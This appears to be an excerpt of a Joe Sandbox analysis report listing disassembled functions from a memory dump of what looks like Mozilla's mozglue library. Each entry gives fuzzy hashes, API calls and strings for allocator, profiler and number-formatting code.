Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction ID: d2f6e2e7fe3b7c9a34a85e522faf1d6b11578a59a772b548f4bc02d36529a481
Opcode Fuzzy Hash: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction Fuzzy Hash: 29326F746083818FD324CF24C890A9EBBE6AFC9318F548D1DE5D987791DB34E94ACB52

Function 6C517E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

vUl, xrefs: 6C518207
data, xrefs: 6C518280, 6C5183E1
schema, xrefs: 6C5181E3, 6C518311
name, xrefs: 6C517ECF, 6C518335
(pre-xul), xrefs: 6C517E88

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vUl
API String ID: 3412268980-1420529217
Opcode ID: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction ID: 51701d9768cd75cdcda7e2b82927c136578e1ded9be4d208505e01051fd2d05d
Opcode Fuzzy Hash: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction Fuzzy Hash: B3E17071A043448BD714CF68C840A5BFBE9BFC9318F558A2DE895D7790DBB0DD098B91

Function 6C535FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C536009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C536024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QMl,?), ref: 6C536046
OutputDebugStringA.KERNEL32(?,QMl,?), ref: 6C536061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C536069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C55148E), ref: 6C536091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QMl,00000000,?), ref: 6C5360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5360C4

Strings

QMl, xrefs: 6C535FFC, 6C536042, 6C536045, 6C5360B3

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QMl
API String ID: 3835517998-1439696203
Opcode ID: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction ID: 03b2f784946ebf0a0da5de58f5c72874e34d19d9309acb398cd954644f84203d
Opcode Fuzzy Hash: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction Fuzzy Hash: A521E2B1A002189FDF106F24DC0DAAE7BB8FF45318F418428E81AD7240DB75A949CFD5

Function 6C4F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C4F7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4F730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4F72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4F72E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F7BCD, 6C4F7C1F, 6C4F7C34, 6C4F80FD
MOZ_CRASH(), xrefs: 6C4F7BA4
ewSl, xrefs: 6C4F5E9C, 6C4F5F22, 6C4F61ED

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewSl
API String ID: 2613674957-934110803
Opcode ID: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction ID: 254458958504f6f1f7f8086802df393892c8c06a3518d93701c5d736a17ce24b
Opcode Fuzzy Hash: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction Fuzzy Hash: 3B336A716096018FD304CF28C590E15BBE2BFC6328F29C6ADE9798B7A5D775E842CB41

Function 6C524820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C524DD9
data, xrefs: 6C5249B4
schema, xrefs: 6C5248C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C524DB8, 6C524DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C524CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C524D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C524D0A
-%llu, xrefs: 6C524825
Ul, xrefs: 6C524F88

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID: Ul$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3414208028
Opcode ID: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction ID: f76165c75724aaebd457cc2e5c3601c16f97eb4f9c306066edc19ae094d63d57
Opcode Fuzzy Hash: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction Fuzzy Hash: 94722D75918B858BD322CF34C85179BF7E5BFDA344F108B1EE4896B650EB70A486CB42

Function 6C4FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD6A6
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD712
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD7EA

Strings

<jemalloc>, xrefs: 6C4FD827
: (malloc) Error initializing arena, xrefs: 6C4FD82C

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction ID: 50397f5a7c3896fa29774672b604e79ef33b7b974e101b16dfad2e227dd84485
Opcode Fuzzy Hash: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction Fuzzy Hash: 8F91E471A047418FD715CF28C890F2AB7E1EBC9314F55492EE56AC7B81D774E846CB82

Function 6C534EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C534EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534F2E
moz_xmalloc.MOZGLUE ref: 6C534F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C534F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352E6
Sleep.KERNEL32(00000010), ref: 6C535481
free.MOZGLUE(?), ref: 6C535498

Strings

(, xrefs: 6C535250

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction ID: df93e01d51aeefb5d08d30ddb93ec9b3715ef8eda2c544a156baaec45dc6e089
Opcode Fuzzy Hash: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction Fuzzy Hash: C1F1D371A18B108FC716DF39C85062BB7F5AFD6384F46872EF846A7651EB31D8428B81

Function 6C537030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C537046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C537060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C53707E

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C537096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C53709C
LocalFree.KERNEL32(?), ref: 6C5370AA

Strings

### ERROR: %s: %s, xrefs: 6C537087
(null), xrefs: 6C53706A, 6C537083

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction ID: 680b2f12cf11072b32757df051b00e89864f3ed888385a1654facd0b4b492b24
Opcode Fuzzy Hash: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction Fuzzy Hash: 2901B9B1B00104AFDF04AB64DC4EDAF7BBCEF49215F860429FA05E7241E67169148BA5

Function 6C4F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C4F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C4FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FA8B1, 6C4FA8D4, 6C4FA8EF

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction ID: 92e649dd749f1d31834ced94b40f3cb96ce3d0bd4d213d78b196b51bd8525c27
Opcode Fuzzy Hash: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction Fuzzy Hash: 2E725A72A156118FD704CF28C940E15FBE1BFC9328F2AC66DE8699B791D375E842CB81

Function 6C522C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C522C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C522C61

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C522C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C522E2D

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

Strings

expected a Time entry, xrefs: 6C522E36
ProfileBuffer parse error: %s, xrefs: 6C522E3B
(root), xrefs: 6C52354F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction ID: 59c1a8f569e6e269c72ae5e5563ca9e49b9923da721b46727d99fc009631aaa2
Opcode Fuzzy Hash: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction Fuzzy Hash: ED91D0746083408FC724CF24CC8469FB7E5AFC9368F50892DE5998B791EB34E94ACB52

Function 6C539E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C539F3D
__aulldiv.LIBCMT ref: 6C539F77
__aullrem.LIBCMT ref: 6C539F8C
__aulldiv.LIBCMT ref: 6C53A023

Strings

NaN, xrefs: 6C539EAB
-Infinity, xrefs: 6C539E60, 6C539E7B

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction ID: efd3941f69376e6b59dd9e18c2fcab802b1e914d1157d091dbf7064f523d0a18
Opcode Fuzzy Hash: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction Fuzzy Hash: C9C19D71A003298BDF14CFE8CC50B9EB7B6EB88314F54552DD409ABB80EB74A949CB91

Function 6C4DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C4DDE7F
0, xrefs: 6C4DDC7F
, xrefs: 6C4DDA88
@, xrefs: 6C4DDAF6
8, xrefs: 6C4DDC08
1, xrefs: 6C4DDBDD
0, xrefs: 6C4DD852
-, xrefs: 6C4DD7DD

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction ID: 14851abc79d34a04dbf2cde325369a60ce2940b7eeb8a87584327f1033c9e2dc
Opcode Fuzzy Hash: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction Fuzzy Hash: 9062B13060C3458FD705EE28C4A0F5ABBF1AF86359F1A4A5DE4E54BB51C335A885CFA2

Function 6C54545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C548A4B

Strings

~qMl, xrefs: 6C545703, 6C54921F, 6C545740, 6C5456C7, 6C549459, 6C549269, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: daf36e273b7d447ad8a32736401089dcc3d5f23a5a09017820b52a2007c3b975
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F6B1F772E0021ACFDB14CF68CC917E8B7B6EF85314F1842A9C549DB785E730A989CB90

Function 6C54542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C54925C

Strings

~qMl, xrefs: 6C545703, 6C54921F, 6C545740, 6C5456C7, 6C549459, 6C549269, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 96838d61981010bfc2145d71df49a5a368a10c77c69f0f0dc2e1c8c5e90b861a
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 65B1C572E0421ACBDB14CF58CC816EDB7B6AF85314F194269C949EB785E730A989CB90

Function 6C53C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53C0E9), ref: 6C53C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C53C437
FreeLibrary.KERNEL32(?,6C53C0E9), ref: 6C53C44C

Strings

ntdll.dll, xrefs: 6C53C413
NtQueryVirtualMemory, xrefs: 6C53C431

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction ID: 0c2c30935e4bc343505cb67d7d549cbf231db027848131fe490665ce5436f480
Opcode Fuzzy Hash: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction Fuzzy Hash: EAE0B6707023119BDF007F75DD0CB157BF8B706305F8A9316AA09A2700EBB2D0148B58

Function 6C4E9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C4EA5D6
@, xrefs: 6C4EA625
' , xrefs: 6C4EA3D8
1, xrefs: 6C4EA824
0, xrefs: 6C4EAB22
0, xrefs: 6C4EA100

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

